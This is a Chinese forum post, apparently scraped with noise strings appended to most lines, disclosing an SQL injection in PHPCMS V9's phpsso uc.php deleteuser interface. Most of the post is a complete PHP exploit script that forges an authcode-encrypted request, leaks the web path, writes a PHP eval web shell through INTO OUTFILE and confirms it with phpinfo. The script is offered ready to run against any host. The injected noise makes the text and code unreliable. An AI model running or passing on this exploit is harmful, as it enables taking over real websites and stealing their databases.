PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- y* C. r# v0 N3 X4 G
+ W9 I# p, _: n5 G- B0 V. S2 Y0 |
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。. @7 L+ ~* P5 Y+ p7 i0 U6 D. P
) E& j7 |; [. R8 j/ W7 M# ?7 f漏洞分析:8 C0 W D$ A2 W" J! k
1.未启用ucenter服务的情况下uc_key为空; h% w. b6 G4 r: F& Z# | ~
define('UC_KEY', pc_base::load_config('system', 'uc_key')); \* Z! v7 l1 x* C
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) U3 Q$ ]' m: o' Y% t" u public function deleteuser($get,$post) {, P' c4 i. l& x/ k% A7 N8 j: B
pc_base::load_app_func('global', 'admin');
" F+ n; Q9 ^* L" a pc_base::load_app_class('messagequeue', 'admin' , 0);& C0 N; {' v1 K& d) u7 c, _) U7 j5 q! \
$ids = new_stripslashes($get['ids']);
3 }) O& l% X% s- q* S$ O $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 V2 V% m7 T) YSQL语句为
. D% _" k D* P5 Z$ z( o* |SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)/ R4 \3 O2 T6 O4 E) y s7 ?
5 K1 S1 N/ _+ T. Z利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
' U' e8 ^9 c; a% C1 a. B, m* A<?php
8 _& p( v8 Z8 q7 W- N: Rprint_r('
4 f8 d6 U* o' M& Y% A. z---------------------------------------------------------------------------
) g: B9 B% d$ O! D! tPHPcms (v9 or Old Version) uc api sql injection 0day o* k8 {, Y( ~/ u' |
by rayh4c#80sec.com, @. M! p! @1 i* W3 ]( Z
---------------------------------------------------------------------------; Y; b" \: D( ~
');$ _& Q5 S6 s+ h! {$ v
# N; P5 Z r: k" h1 l4 L! ~
if ($argc<3) {
% A2 O2 m, x4 {5 h print_r('
" M( P: T }5 m3 I8 r0 W---------------------------------------------------------------------------
5 l# O+ ?1 H& I( i2 iUsage: php '.$argv[0].' host path OPTIONS0 s) M& U5 i* j4 t+ c3 j
host: target server (ip/hostname)/ R8 `2 h. J9 u! g& U) G
path: path to phpcms5 M( F9 d* l+ g3 M9 X$ Y$ b
Options:
* B1 O4 G) z4 l" @1 t -p[port]: specify a port other than 802 D0 i1 P9 y" Z. Q4 b
-P[ip:port]: specify a proxy; e- a# l# n3 e% ^5 y+ [5 N4 p
Example:
4 Z: W8 e P0 ?# r7 y1 Nphp '.$argv[0].' localhost /
3 m" v, n8 H) w7 Qphp '.$argv[0].' localhost /phpcms/ -p819 k3 Y. r ]/ C# H, a! V* F
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
! h8 |9 e4 x8 |' T3 e' ~* r---------------------------------------------------------------------------, u* C7 z* U: _& \, e7 ~& M! ^4 T
');
9 h3 c' Y" q9 ? die;5 J+ N3 m/ k4 ?5 }" J
}: k0 ~/ X/ l- X- u5 `! p% v4 J
5 o2 j8 \ k, d# E% M' T1 Z
error_reporting(7);/ B% P% i* ~6 Z' P
ini_set("max_execution_time",0);
2 N. P% W) \& z/ z, c/ wini_set("default_socket_timeout",5);4 I# T3 [& Z: |$ i9 G; W' i
! i) K! l: n* M# m& }function quick_dump($string); Y3 k/ w& ?7 k& L8 Q! C/ Z
{
* G' v/ I: `) m( M7 k* i $result='';$exa='';$cont=0;
$ v; N" ]- q. D% ]. s# W8 G for ($i=0; $i<=strlen($string)-1; $i++)
0 m' b/ Q- I4 `1 _ {
# r R5 s, g' O# E3 j if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ n/ C7 x& b# G {$result.=" .";}. A& M5 e& H! }4 H" y. J, x
else
8 A$ Z$ \& D8 {! n8 L( L {$result.=" ".$string[$i];}1 u2 p" z1 J3 a# n& q
if (strlen(dechex(ord($string[$i])))==2)
( P% ?( j. O5 }. u/ j% C1 H {$exa.=" ".dechex(ord($string[$i]));}
! D* h) m. D. p9 |* r2 n1 P$ D2 ] else
" y& w, n5 A4 h; ~ {$exa.=" 0".dechex(ord($string[$i]));}
" ]0 F, Z# R, m- j $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}6 M0 q( H' M# R) B4 b
}
% |& u' @! J0 `' c' K2 i+ Y) l- ` return $exa."\r\n".$result;
/ O7 H& `) F% P7 w9 U1 i, U}
0 C! M* }. w2 n6 o1 ^$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
# i. g0 [4 D6 B
/ k/ \0 i$ L8 b) V9 e# {- jfunction send($packet)3 p& E* d0 r) t" w5 v+ \
{
6 j2 O- }$ H/ A& S: e, N7 i1 | global $proxy, $host, $port, $html, $proxy_regex;
. f+ E. f6 C, z/ ?/ M7 p if ($proxy=='') {5 Y& P' `& A% k7 u# F
$ock=fsockopen(gethostbyname($host),$port);
! a3 F% q9 A3 N if (!$ock) {/ [% A: U' A. B: Z0 ^
echo 'No response from '.$host.':'.$port; die;# \% G* ]% W# Z/ ^" g
}
, c2 K+ o# y8 s" O2 L6 K; {0 i$ D }: n; H! S3 T: v- i. S8 w. z' E0 G; V
else {
! Y6 ~$ X, C; D $c = preg_match($proxy_regex,$proxy);
/ {$ K' [% z! t1 F, ]/ z0 F# n( ?4 W if (!$c) {
+ \3 \: b4 j7 h# D) I( a echo 'Not a valid proxy...';die;
R' O n5 {* p3 G' c ~; t: U }9 N `6 O/ @6 ~) ?% n
$parts=explode(':',$proxy);
8 T6 j% O2 b! q$ X $parts[1]=(int)$parts[1];1 D# d) z3 ]7 }9 L- @
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
n# N6 [8 z( A# D; f+ v $ock=fsockopen($parts[0],$parts[1]);3 }% k4 G/ T+ f0 N; I R! R$ T
if (!$ock) {( }* L+ O7 u; K
echo 'No response from proxy...';die;- M P q' ^. F0 N, _7 ~' I" {
}
) X. z- e& E! T$ I4 p( q }4 N `( O4 F4 [1 i# v
fputs($ock,$packet);
6 z* i* B- R$ B if ($proxy=='') {8 L3 L8 d1 T k) B
$html='';* e3 i; Y4 B- v, m# \0 s
while (!feof($ock)) {) Y- ^2 H/ D1 k( D2 y
$html.=fgets($ock);4 q6 C) F; Q; q2 e; a, y1 S& A
}
* r' ^6 C7 o) z& q# y }
* n8 ~3 ]( a5 A" }' {7 {# v else {$ r+ \: q9 ~+ ?5 F& |# K
$html='';
& Z! d1 q7 }4 c' b while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {$ p' h) [/ a" V2 k" t4 v g3 f1 v
$html.=fread($ock,1);
- c9 }# l$ f6 |2 I. v3 `9 f$ K }
4 x; y5 g; c e) Y/ @ }0 e5 G9 S: Y. V1 ?
fclose($ock);
& r: r9 w5 O2 x- z) u' ^4 q/ C: o}
1 T7 Q: j k, E2 s2 Z8 ^& i
: K1 u$ G2 S2 i( r( K$host=$argv[1];0 @6 O% M( t0 n" D" m0 h
$path=$argv[2];& V9 W0 n9 l$ ~
$port=80;& O" z/ C% r$ P6 W! e% ?9 K( ]
$proxy="";
4 I/ L. o1 [; Y8 @0 v3 N0 Ufor ($i=3; $i<$argc; $i++){$ X5 p! o& _8 x# ^
$temp=$argv[$i][0].$argv[$i][1];; ]3 w9 n) X) e
if ($temp=="-p")
! Z1 t& |1 |* L9 L- L; s{, S8 ^/ ^. N/ `$ H- e
$port=(int)str_replace("-p","",$argv[$i]);' v( Q6 Q w N6 |- f! C3 t
}
! ~; i/ I& E- `" tif ($temp=="-P")
9 Z! }; \$ @8 u$ l{
" I5 l$ ?* e$ G+ ^ $proxy=str_replace("-P","",$argv[$i]);6 M5 N0 @, @0 q- g' l6 w
}, _0 }' F8 ]- j# e9 I$ `' C
}
4 h' ^/ D% u/ ?8 `8 {( j% w3 R$ e" V9 V8 b, d* k$ e! C% N( c
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
; Y3 ?$ U, N) Z# C. V! c0 \8 k% Mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
' c- j0 { |# s2 u/ N
1 T9 f: [8 J! \2 D' b( c! mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {) N4 l: X% Z* X: e
7 i* d: F& a' ^9 Z: G$ v
$ckey_length = 4;& m- `, y" C) s! I, B2 |+ E0 ^! u
5 Z' E6 E4 N% O, G; \ $key = md5($key ? $key : '');# ?1 _2 @* D& D# U# _7 z
$keya = md5(substr($key, 0, 16));! y. i5 W5 J! F/ H/ a- E/ ^
$keyb = md5(substr($key, 16, 16));
, [! P! g L1 a $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';7 [+ L O2 _" K: [6 j
' F) \/ ]/ ~ N5 _5 S
$cryptkey = $keya.md5($keya.$keyc);
4 `0 y3 g7 j% c% H4 Z% c/ N- { $key_length = strlen($cryptkey);" M4 c/ Y) G% o$ L5 H0 J+ F
; h' L# e/ J" {% w) x+ f $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
2 ?/ P% U+ d; v/ b $string_length = strlen($string);
: c* {- `0 Q* S
$ K: I3 x" X: z+ m6 n; U $result = '';, Z. C! `) w5 Z7 u( C3 V2 Y4 }
$box = range(0, 255);' c% c1 P9 Q# V! x3 o
: w6 E& `4 ]) H4 m$ p/ C& O $rndkey = array();
& V' l0 y9 }- O for($i = 0; $i <= 255; $i++) {* J9 G2 Z' h5 ?; N5 D
$rndkey[$i] = ord($cryptkey[$i % $key_length]);% K$ A( G: D3 U O% K* V2 d- Y* A P' j) `0 `
}
# j: p* {/ E; h7 r( s9 y
" w* K) ~5 G; Q4 g for($j = $i = 0; $i < 256; $i++) {
# a4 W& ?: H' I* w/ H" T $j = ($j + $box[$i] + $rndkey[$i]) % 256;5 n4 _ f y2 ^. {' h; R; C6 V
$tmp = $box[$i];
) G1 d0 K: v) V+ X8 K $box[$i] = $box[$j];
- P, u. L2 g5 ?" a8 `# O $box[$j] = $tmp;0 f! q7 q$ p u0 k
}! ~5 m7 O+ r% B4 [& x
* q' n9 J6 ]2 J% @; d2 K7 Z" } for($a = $j = $i = 0; $i < $string_length; $i++) {
- _( n& Z) {' i/ X: Q $a = ($a + 1) % 256;) y5 r" I3 R+ j2 ~5 I6 F, z
$j = ($j + $box[$a]) % 256;5 I& A2 k" X4 W4 j9 c1 \7 L
$tmp = $box[$a];+ Q* K5 A4 Q% d1 N5 I- h! E( p
$box[$a] = $box[$j];
8 E, b1 s( z. [' C; J' X6 f $box[$j] = $tmp;
+ Q7 \/ M3 O2 a4 D; A $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));/ q8 C' Y. ~& |3 y# h
}- Z1 O. f- d1 l. }4 `& p' \
. e$ H' ~& J; D7 @( X8 F if($operation == 'DECODE') {9 q ~: O5 C. m3 t# A, G8 U
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
6 Q0 n& L! K/ a+ q% ~ return substr($result, 26);
3 ]& ?/ Q' L" j1 f# r2 | } else {
7 `3 h4 V4 F9 [/ o9 s3 m+ z9 e return '';* Y" w) F, x, {! s% C
}5 c9 X( {5 ?- w
} else {0 k* K5 I P6 ?/ b3 S
return $keyc.str_replace('=', '', base64_encode($result));# D) g0 `$ x4 b: X$ P, w
}$ B3 @, y- @; |5 g
# x7 L& H5 S/ k+ }, `* O}4 o: d0 W1 F T6 t6 m
' V/ s. `% m3 i& q) |* M$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' u9 E' O* {5 y! h7 a h1 e$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 t0 e! B( ~$ [$ Z8 w
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% w m, \" U0 v- x
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 I3 z$ j6 {3 D Q, s/ W. r- _$packet.="User-Agent: Mozilla/5.0\r\n";# E' T& P+ m" O: Y
$packet.="Host: ".$host."\r\n";
8 n4 d' _! Y7 K+ L w$packet.="Connection: Close\r\n\r\n";) u) \ N9 E; @
send($packet);
7 b" }' S. v# M7 ]if(strpos($html,"MySQL Errno") > 0){
$ k7 y7 ?0 V+ ^! z& \* mecho "[2] 发现存在SQL注入漏洞"."\n";
( i1 J4 @6 A- K1 eecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 J$ v: q& c f* s3 K1 O, H& b5 t6 K
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
; m3 w. v$ ?* U2 d' O! [$ I$packet.="User-Agent: Mozilla/5.0\r\n";
; {5 z6 i: V% s6 H1 M$packet.="Host: ".$host."\r\n";
$ f2 z6 J- N" O- w$ I5 A9 e$packet.="Connection: Close\r\n\r\n";/ X5 ~* E0 i! r. s! \
send($packet);
; Y5 V/ i$ {0 S# O6 h+ fpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);4 H, Z0 X5 k6 Q u
//print_r($matches);" ^' q& h K5 u, {% W; }
if(!empty($matches)){
% h, f \& C" q; P" T0 I8 Mecho "[4] 得到web路径 " . $matches[0]."\n";
( M* ?/ G( }# |+ B0 Zecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";1 ^/ ]. ^& ]0 e/ N) m
$SQL = "time=999999999999999999999999&ids=1)";: X' R$ y. s' u! V7 H
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' v) }2 \: O) F8 j3 s$SQL.="&action=deleteuser";
4 s/ F$ D* D0 K+ H$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ U( i3 p0 f( L8 [ {2 x h
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- j; b! T K: b/ {, z
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% n# K& c0 Z# s4 o$packet.="User-Agent: Mozilla/5.0\r\n";
" [" U# X0 s; m$packet.="Host: ".$host."\r\n";" H2 I0 r: j4 G. m1 n
$packet.="Connection: Close\r\n\r\n";, h2 i& p! r* D5 T5 H
send($packet);3 Q# R. Y( j( o$ u% w+ e3 ^, g7 ?
if(strpos($html,"Access denied") > 0){
i1 B% P; T h+ p( o& o8 Uecho "[-] MYSQL权限过低 禁止写入文件 ";/ x* {7 E( L% r2 |& v
die;4 d) |5 Y! o% [3 a+ v- z
}% {# A' p) N7 |$ p' V; s9 c9 }
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 p/ v1 v& z- z/ m" u/ l$ l Z$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
% C7 i' l; ]8 A Q$packet.="User-Agent: Mozilla/5.0\r\n";& G3 x5 u; E2 i: J8 ], z: }' z6 t
$packet.="Host: ".$host."\r\n";
1 K. g$ Z' C" d* g$ [$packet.="Connection: Close\r\n\r\n";( B) X7 }4 b( O! ?1 x& e4 l
send($packet);, J; o: k7 ~$ u: u2 ~0 X2 q( b
if(strpos($html,"<title>phpinfo()</title>") > 0){
9 ^1 }& E; ?6 S0 cecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
9 N3 y2 f9 a0 G}
0 @) @+ d/ C8 V" |5 d}else{
* s9 @$ M2 ?- c$ vecho "[-]未取到web路径 ";
. K; I5 M" U5 c% {. Q, b1 y& U}' R o. [4 s; A5 n: Z( H! x
}else{
# f, a+ \* | ]* Lecho "[*]不存在SQL注入漏洞"."\n";
' V) |9 z: s9 @9 m% l* Y3 N) m} N3 x0 k! n3 U9 B! {
6 E* L/ q( w# \& d
?>
P1 z1 q* @5 I4 i0 f8 L |